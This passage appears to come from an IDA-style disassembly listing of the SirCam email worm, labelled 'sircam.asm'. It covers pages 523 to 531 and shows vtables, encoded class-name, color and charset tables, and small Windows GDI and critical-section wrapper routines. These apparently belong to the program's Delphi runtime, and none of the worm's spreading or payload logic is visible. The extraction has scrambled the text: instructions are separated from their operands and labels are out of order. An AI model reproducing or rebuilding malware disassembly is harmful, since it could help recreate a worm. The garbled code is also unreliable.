; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_413394:
sub_413368
; CODE XREF: sub_413368+24\030j
; DATA XREF: sub_413368+1F\030o
pop
ebp
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_413398:
; DATA XREF: CODE:0041A984\031o
sub
ds:dword_41E670, 1
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
off_4133A0
dd offset dword_4133A4 ; DATA XREF: CODE:00415E4C\031r
dword_4133A4
dd 43540601h, 726F6C6Fh, 4, 0FFFFFF80h, 408D7Fh ; DATA XREF: CODE:004133A
0\030o
off_4133B8
dd offset dword_413404 ; DATA XREF: sub_4143A8+7\031r
dd 7 dup(0)
dd offset dword_413404
dd 0Ch
dd offset off_4061F4
dd offset loc_402CA0
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_402CB4
dd offset nullsub_4
dd offset loc_402B70
dd offset sub_402B84
dd offset sub_402BCC
dword_413404
dd 6E49450Fh, 696C6176h, 61724764h, 63696870h ; DATA XREF: CODE:004133B8
\030o
; CODE:004133D8\030o
off_413414
dd offset dword_413460 ; DATA XREF: sub_414390+7\031r
dd 7 dup(0)
dd offset dword_413460
dd 0Ch
dd offset off_4061F4
dd offset loc_402CA0
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_402CB4
dd offset nullsub_4
dd offset loc_402B70
dd offset sub_402B84
dd offset sub_402BCC
dword_413460
dd 6E494518h, 696C6176h, 61724764h, 63696870h, 7265704Fh
sircam.asm
Fri Aug 10 12:42:44 2001
523
; DATA XREF: CODE:00413414\030o
; CODE:00413434\030o
off_41347C
dword_413480
off_413498
off_4134E4
dword_413544
dword_41354C
off_413558
dword_41355C
off_41357C
dd 6F697461h, 408D6Eh
dd offset dword_413480 ; DATA XREF: CODE:00415E60\031r
dd 46540C01h, 43746E6Fh, 73726168h, 17465h, 0FF000000h
; DATA XREF: CODE:0041347C\030o
dd 90000000h
dd offset off_4134E4
; DATA XREF: CODE:00413660\031o
; sub_415144+1B\031r
dd 3 dup(0)
dd offset dword_41355C
dd 2 dup(0)
dd offset dword_413544
dd offset dword_41354C
dd 1Ch
dd offset off_40B978
dd offset loc_402CA0
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_402CB4
dd offset nullsub_4
dd offset loc_402B70
dd offset sub_402B84
dd offset sub_40C520
dd offset loc_40C630
; DATA XREF: CODE:00413498\030o
; CODE:00413566\031o
dd offset sub_41519C
dd offset sub_40C54C
dd offset sub_4150F4
dd offset sub_41512C
dd offset loc_4027FC
dd offset sub_4151E8
dd offset loc_4027FC
dd offset loc_4027FC
dd offset loc_41532C
dd offset loc_415330
dd offset loc_4027FC
dd offset loc_4153B0
dd offset loc_4027FC
dd offset nullsub_12
dd offset loc_415418
dd offset loc_4027FC
dd offset loc_415428
dd offset sub_415334
dd offset sub_4153BC
dd offset loc_4027FC
dd offset loc_4027FC
dd offset loc_4027FC
dd offset loc_4027FC
dd 0FFFD0001h
; DATA XREF: CODE:004134B4\030o
dd offset sub_415388
dd 72475408h, 69687061h, 408D63h ; DATA XREF: CODE:004134B8\030o
dd offset dword_41355C ; DATA XREF: CODE:004136FB\031o
dd 47540807h, 68706172h ; DATA XREF: CODE:004134A8\030o
; CODE:00413558\030o
db 69h, 63h
dd offset off_4134E4
dd offset off_40B9EC
align 4
dd 61724708h, 63696870h, 90000073h
dd offset off_4135C8
; DATA XREF: CODE:00413604\031o
dd 7 dup(0)
dd offset dword_4135CC
dd 8
dd offset off_40100C
dd offset loc_402CA0
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_402CB4
dd offset nullsub_4
sircam.asm
off_4135C8
dword_4135CC
\030o
off_4135DC
off_413628
dword_41362C
off_413638
off_413684
dword_4136E4
dword_4136F0
Fri Aug 10 12:42:44 2001
dd
dd
dd
dd
dd
offset loc_402B70
offset sub_402B84
offset sub_402BCC
offset loc_4027FC
; DATA XREF: CODE:0041357C\030o
6853540Ch, 64657261h, 67616D49h, 408D65h ; DATA XREF: CODE:0041359C
dd offset off_413628
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
524
; DATA XREF: sub_4155EC+22\031r
; sub_415948+F\031r
7 dup(0)
offset dword_41362C
18h
offset off_41357C
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_4155A4
offset sub_4155D4
; DATA XREF: CODE:004135DC\030o
6349540Ah, 6D496E6Fh, 90656761h ; DATA XREF: CODE:004135FC\030o
offset off_413684
; DATA XREF: sub_415670+D\031r
; sub_416478+161\031r
dd 3 dup(0)
dd offset dword_4136F0
dd 3 dup(0)
dd offset dword_4136E4
align 8
dd offset off_413498
dd offset loc_402CA0
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_402CB4
dd offset nullsub_4
dd offset loc_402B70
dd offset sub_402B84
dd offset sub_415640
dd offset loc_40C630
; DATA XREF: CODE:00413638\030o
; CODE:004136F7\031o
dd offset sub_41519C
dd offset sub_415670
dd offset sub_4155EC
dd offset sub_41512C
dd offset sub_4156D0
dd offset sub_4151E8
dd offset loc_415710
dd offset loc_41573C
dd offset loc_41532C
dd offset loc_415330
dd offset loc_415750
dd offset loc_4153B0
dd offset loc_4159D4
dd offset nullsub_12
dd offset nullsub_13
dd offset loc_4159F0
dd offset loc_415428
dd offset sub_415334
dd offset sub_4153BC
dd offset sub_415890
dd offset sub_415A08
dd offset sub_415A34
dd offset sub_415A48
dd 63495405h, 0C08B6E6Fh ; DATA XREF: CODE:00413658\030o
dd offset dword_4136F0
dd 49540507h
; DATA XREF: CODE:00413648\030o
; CODE:004136EC\030o
db 63h, 6Fh, 6Eh
dd offset off_413684
dd offset off_413558
sircam.asm
off_41370C
dword_413758
Fri Aug 10 12:42:44 2001
525
dd 47080000h, 68706172h, 736369h
align 4
dd offset dword_413758 ; DATA XREF: CODE:00415DD7\031o
; CODE:00415DEC\031o ...
dd 7 dup(0)
dd offset dword_413758
dd 24h
dd offset off_40100C
dd offset loc_402CA0
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_402CB4
dd offset nullsub_4
dd offset loc_402B70
dd offset sub_402B84
dd offset sub_4137A8
dd 65525410h, 72756F73h, 614D6563h, 6567616Eh, 408D72h
; DATA XREF: CODE:0041370C\030o
; CODE:0041372C\030o
dd 0D2845653h, 0C4830874h, 0F562E8F0h, 0DA8BFFFEh, 8966F08Bh
dd 468D204Eh, 19E85008h, 8BFFFF25h, 74DB84C6h, 0F59EE80Fh
dd 8F64FFFEh, 5, 0CC48300h, 5B5EC68Bh, 408DC3h
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4137A8
proc near
; DATA XREF: CODE:00413754\030o
push
ebx
push
esi
call
sub_402D3C
mov
ebx, edx
mov
esi, eax
lea
eax, [esi+8]
push
eax
call
j_DeleteCriticalSection_0
test
bl, bl
jle
short loc_4137C7
mov
eax, esi
call
sub_402D2C
loc_4137C7:
sub_4137A8
; CODE XREF: sub_4137A8+16\030j
pop
esi
pop
ebx
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4137CC
proc near
; CODE XREF: sub_413D40+3A\031p
; sub_413EF0+1A\031p ...
sub_4137CC
add
eax, 8
push
eax
call
j_EnterCriticalSection_0
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4137D8
proc near
add
push
eax, 8
eax
; CODE XREF: sub_413D40+15B\031p
; sub_413EF0+80\031p ...
sircam.asm
sub_4137D8
Fri Aug 10 12:42:44 2001
526
call
j_LeaveCriticalSection_0
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dword_4137E4
dd 0FFFFFFFFh, 7, 6C426C63h, 6B6361h, 0FFFFFFFFh, 8, 614D6C63h
; DATA XREF: DATA:0041D85C\031o
dd 6E6F6F72h, 0, 0FFFFFFFFh, 7, 72476C63h, 6E6565h, 0FFFFFFFFh
dd 7, 6C4F6C63h, 657669h, 0FFFFFFFFh, 6, 614E6C63h, 7976h
dd 0FFFFFFFFh, 8, 75506C63h, 656C7072h, 0, 0FFFFFFFFh
dd 6, 65546C63h, 6C61h, 0FFFFFFFFh, 6, 72476C63h, 7961h
dd 0FFFFFFFFh, 8, 69536C63h, 7265766Ch, 0, 0FFFFFFFFh
dd 5, 65526C63h, 64h, 0FFFFFFFFh, 6, 694C6C63h, 656Dh
dd 0FFFFFFFFh, 8, 65596C63h, 776F6C6Ch, 0, 0FFFFFFFFh
dd 6, 6C426C63h, 6575h, 0FFFFFFFFh, 9, 75466C63h, 69736863h
dd 61h, 0FFFFFFFFh, 6, 71416C63h, 6175h, 0FFFFFFFFh, 7
dd 68576C63h, 657469h, 0FFFFFFFFh, 0Bh, 63536C63h, 6C6C6F72h
dd 726142h, 0FFFFFFFFh, 0Ch, 61426C63h, 72676B63h, 646E756Fh
dd 0, 0FFFFFFFFh, 0Fh, 63416C63h, 65766974h, 74706143h
dd 6E6F69h, 0FFFFFFFFh, 11h, 6E496C63h, 69746361h, 61436576h
dd 6F697470h, 6Eh, 0FFFFFFFFh, 6, 654D6C63h, 756Eh, 0FFFFFFFFh
dd 8, 69576C63h, 776F646Eh, 0, 0FFFFFFFFh, 0Dh, 69576C63h
dd 776F646Eh, 6D617246h, 65h, 0FFFFFFFFh, 0Ah, 654D6C63h
dd 6554756Eh, 7478h, 0FFFFFFFFh, 0Ch, 69576C63h, 776F646Eh
dd 74786554h, 0, 0FFFFFFFFh, 0Dh, 61436C63h, 6F697470h
dd 7865546Eh, 74h, 0FFFFFFFFh, 0Eh, 63416C63h, 65766974h
dd 64726F42h, 7265h, 0FFFFFFFFh, 10h, 6E496C63h, 69746361h
dd 6F426576h, 72656472h, 0, 0FFFFFFFFh, 0Eh, 70416C63h
dd 726F5770h, 6170536Bh, 6563h, 0FFFFFFFFh, 0Bh, 69486C63h
dd 696C6867h, 746867h, 0FFFFFFFFh, 0Fh, 69486C63h, 696C6867h
dd 54746867h, 747865h, 0FFFFFFFFh, 9, 74426C63h, 6361466Eh
dd 65h, 0FFFFFFFFh, 0Bh, 74426C63h, 6168536Eh, 776F64h
dd 0FFFFFFFFh, 0Ah, 72476C63h, 65547961h, 7478h, 0FFFFFFFFh
dd 9, 74426C63h, 7865546Eh, 74h, 0FFFFFFFFh, 15h, 6E496C63h
dd 69746361h, 61436576h, 6F697470h, 7865546Eh, 74h, 0FFFFFFFFh
dd 0Eh, 74426C63h, 6769486Eh, 67696C68h, 7468h, 0FFFFFFFFh
dd 0Ch, 44336C63h, 68536B44h, 776F6461h, 0, 0FFFFFFFFh
dd 9, 44336C63h, 6867694Ch, 74h, 0FFFFFFFFh, 0Ah, 6E496C63h
dd 65546F66h, 7478h, 0FFFFFFFFh, 8, 6E496C63h, 6B426F66h
dd 0, 0FFFFFFFFh, 6, 6F4E6C63h, 656Eh
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_413B3C
proc near
test
jge
and
push
call
locret_413B4B:
sub_413B3C
; CODE XREF: sub_413EF0+57\031p
; sub_413F90+9E\031p ...
eax, eax
short locret_413B4B
eax, 0FFh
eax
j_GetSysColor
; CODE XREF: sub_413B3C+2\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_413B4C:
; DATA XREF: CODE:00415E42\031o
push
29h
mov
ecx, offset unk_41D858
call
sub_40C06C
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_413B5C:
push
mov
; DATA XREF: CODE:00415E47\031o
29h
ecx, offset unk_41D858
sircam.asm
Fri Aug 10 12:42:44 2001
527
call
sub_40C02C
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dword_413B6C
dd 0FFFFFFFFh, 0Ch, 49534E41h, 4148435Fh, 54455352h, 0
; DATA XREF: DATA:0041D9AC\031o
dd 0FFFFFFFFh, 0Fh, 41464544h, 5F544C55h, 52414843h, 544553h
dd 0FFFFFFFFh, 0Eh, 424D5953h, 435F4C4Fh, 53524148h, 5445h
dd 0FFFFFFFFh, 0Bh, 5F43414Dh, 52414843h, 544553h, 0FFFFFFFFh
dd 10h, 46494853h, 53494A54h, 4148435Fh, 54455352h, 0
dd 0FFFFFFFFh, 0Fh, 474E4148h, 5F4C5545h, 52414843h, 544553h
dd 0FFFFFFFFh, 0Dh, 41484F4Ah, 48435F42h, 45535241h, 54h
dd 0FFFFFFFFh, 0Eh, 33324247h, 435F3231h, 53524148h, 5445h
dd 0FFFFFFFFh, 13h, 4E494843h, 42455345h, 5F354749h, 52414843h
dd 544553h, 0FFFFFFFFh, 0Dh, 45455247h, 48435F4Bh, 45535241h
dd 54h, 0FFFFFFFFh, 0Fh, 4B525554h, 5F485349h, 52414843h
dd 544553h, 0FFFFFFFFh, 0Eh, 52424548h, 435F5745h, 53524148h
dd 5445h, 0FFFFFFFFh, 0Eh, 42415241h, 435F4349h, 53524148h
dd 5445h, 0FFFFFFFFh, 0Eh, 544C4142h, 435F4349h, 53524148h
dd 5445h, 0FFFFFFFFh, 0Fh, 53535552h, 5F4E4149h, 52414843h
dd 544553h, 0FFFFFFFFh, 0Ch, 49414854h, 4148435Fh, 54455352h
dd 0, 0FFFFFFFFh, 12h, 54534145h, 4F525545h, 435F4550h
dd 53524148h, 5445h, 0FFFFFFFFh, 0Bh, 5F4D454Fh, 52414843h
dd 544553h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_413D20:
; DATA XREF: CODE:00415E56\031o
push
11h
mov
ecx, offset unk_41D9A8
call
sub_40C06C
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_413D30:
; DATA XREF: CODE:00415E5B\031o
push
11h
mov
ecx, offset unk_41D9A8
call
sub_40C02C
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_413D40
proc near
var_4C
var_48
var_44
var_40
var_3C
var_38
var_34
var_30
var_2C
var_2B
var_2A
var_29
var_28
var_27
var_26
var_25
var_24
var_4
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
dword ptr -4Ch
dword ptr -48h
dword ptr -44h
dword ptr -40h
dword ptr -3Ch
dword ptr -38h
dword ptr -34h
dword ptr -30h
byte ptr -2Ch
byte ptr -2Bh
byte ptr -2Ah
byte ptr -29h
byte ptr -28h
byte ptr -27h
byte ptr -26h
byte ptr -25h
byte ptr -24h
dword ptr -4
push
mov
add
ebp
ebp, esp
esp, 0FFFFFFB4h
; CODE XREF: sub_4142B8+6\031p
sircam.asm
Fri Aug 10 12:42:44 2001
528
push
ebx
xor
edx, edx
mov
[ebp+var_4C], edx
mov
[ebp+var_48], edx
mov
[ebp+var_44], edx
mov
ebx, eax
xor
eax, eax
push
ebp
push
offset loc_413EC9
push
dword ptr fs:[eax]
mov
fs:[eax], esp
mov
eax, [ebx+10h]
mov
[ebp+var_4], eax
mov
eax, [ebp+var_4]
cmp
dword ptr [eax+8], 0
jnz
loc_413EA8
mov
eax, ds:dword_41E6C0
call
sub_4137CC
xor
eax, eax
push
ebp
push
offset loc_413EA1
push
dword ptr fs:[eax]
mov
fs:[eax], esp
mov
eax, [ebp+var_4]
cmp
dword ptr [eax+8], 0
jnz
loc_413E89
mov
eax, [ebp+var_4]
mov
eax, [eax+14h]
mov
[ebp+var_40], eax
xor
eax, eax
mov
[ebp+var_3C], eax
xor
eax, eax
mov
[ebp+var_38], eax
xor
eax, eax
mov
[ebp+var_34], eax
mov
eax, [ebp+var_4]
test
byte ptr [eax+19h], 1
jz
short loc_413DC4
mov
[ebp+var_30], 2BCh
jmp
short loc_413DCB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_413DC4:
mov
; CODE XREF: sub_413D40+79\030j
[ebp+var_30], 190h
mov
test
setnz
mov
mov
test
setnz
mov
mov
test
setnz
mov
mov
mov
mov
lea
mov
add
call
mov
mov
call
test
jnz
; CODE XREF: sub_413D40+82\030j
eax, [ebp+var_4]
byte ptr [eax+19h], 2
al
[ebp+var_2C], al
eax, [ebp+var_4]
byte ptr [eax+19h], 4
al
[ebp+var_2B], al
eax, [ebp+var_4]
byte ptr [eax+19h], 8
al
[ebp+var_2A], al
eax, [ebp+var_4]
al, [eax+1Ah]
[ebp+var_29], al
eax, [ebp+var_44]
edx, [ebp+var_4]
edx, 1Bh
sub_4036EC
eax, [ebp+var_44]
edx, offset aDefault ; "Default"
sub_406E64
eax, eax
short loc_413E34
loc_413DCB:
sircam.asm
Fri Aug 10 12:42:44 2001
529
lea
eax, [ebp+var_48]
mov
edx, offset aMsSansSerif ; "\rMS Sans Serif"
call
sub_4036EC
mov
edx, [ebp+var_48]
lea
eax, [ebp+var_24]
call
sub_4075BC
jmp
short loc_413E4D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_413E34:
lea
mov
add
call
mov
lea
call
; CODE XREF: sub_413D40+D8\030j
eax, [ebp+var_4C]
edx, [ebp+var_4]
edx, 1Bh
sub_4036EC
edx, [ebp+var_4C]
eax, [ebp+var_24]
sub_4075BC
loc_413E4D:
; CODE XREF: sub_413D40+F2\030j
mov
[ebp+var_26], 0
mov
[ebp+var_28], 0
mov
[ebp+var_27], 0
mov
eax, ebx
call
sub_413EE8
dec
al
jz
short loc_413E6A
dec
al
jz
short loc_413E70
jmp
short loc_413E76
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_413E6A:
; CODE XREF: sub_413D40+122\030j
mov
[ebp+var_25], 2
jmp
short loc_413E7A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_413E70:
; CODE XREF: sub_413D40+126\030j
mov
[ebp+var_25], 1
jmp
short loc_413E7A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_413E76:
; CODE XREF: sub_413D40+128\030j
mov
[ebp+var_25], 0
lea
push
call
mov
mov
; CODE XREF: sub_413D40+12E\030j
; sub_413D40+134\030j
eax, [ebp+var_40]
eax
j_CreateFontIndirectA
edx, [ebp+var_4]
[edx+8], eax
xor
pop
pop
pop
mov
push
; CODE XREF: sub_413D40+54\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_413EA8
loc_413E7A:
loc_413E89:
loc_413E96:
; CODE XREF: sub_413D40+166\031j
mov
eax, ds:dword_41E6C0
call
sub_4137D8
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_413EA1:
; DATA XREF: sub_413D40+42\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_413E96
sircam.asm
Fri Aug 10 12:42:44 2001
530
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_413EA8:
; CODE XREF: sub_413D40+2F\030j
; DATA XREF: sub_413D40+151\030o
mov
mov
xor
pop
pop
pop
mov
push
loc_413EBB:
sub_413D40
eax, [ebp+var_4]
ebx, [eax+8]
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_413ED0
; CODE XREF: CODE:00413ECE\031j
lea
eax, [ebp+var_4C]
mov
edx, 3
call
sub_4034EC
retn
endp ; sp = -58h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_413EC9:
; DATA XREF: sub_413D40+17\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_413EBB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_413ED0:
; DATA XREF: sub_413D40+176\030o
mov
eax, ebx
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 7
aDefault
db ’Default’,0
; DATA XREF: sub_413D40+CC\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_413EE8
sub_413EE8
proc near
mov
eax, [eax+10h]
mov
al, [eax+18h]
retn
endp
; CODE XREF: sub_413D40+11B\030p
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_413EF0
proc near
var_14
var_10
var_8
var_4
=
=
=
=
dword
dword
dword
dword
push
mov
add
mov
mov
mov
cmp
jnz
ptr
ptr
ptr
ptr
; CODE XREF: sub_4142E4+6\031p
-14h
-10h
-8
-4
ebp
ebp, esp
esp, 0FFFFFFECh
eax, [eax+10h]
[ebp+var_4], eax
eax, [ebp+var_4]
dword ptr [eax+8], 0
short loc_413F7D
sircam.asm
Fri Aug 10 12:42:44 2001
531
mov
call
xor
push
push
push
mov
mov
cmp
jnz
mov
movzx
movzx
mov
mov
mov
mov
mov
mov
call
mov
lea
push
call
mov
mov
eax, ds:dword_41E6C4
sub_4137CC
eax, eax
ebp
offset loc_413F76
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_4]
dword ptr [eax+8], 0
short loc_413F5E
eax, [ebp+var_4]
eax, byte ptr [eax+1Ch]
eax, ds:word_41DA38[eax*2]
[ebp+var_14], eax
eax, [ebp+var_4]
eax, [eax+18h]
[ebp+var_10], eax
eax, [ebp+var_4]
eax, [eax+14h]
sub_413B3C
[ebp+var_8], eax
eax, [ebp+var_14]
eax
j_CreatePenIndirect
edx, [ebp+var_4]
[edx+8], eax
xor
pop
pop
pop
mov
push
; CODE XREF: sub_413EF0+34\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_413F7D
loc_413F5E:
loc_413F6B:
; CODE XREF: sub_413EF0+8B\031j
mov
eax, ds:dword_41E6C4
call
sub_4137D8
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_413F76:
; DATA XREF: sub_413EF0+22\030o
jmp
loc_402F60
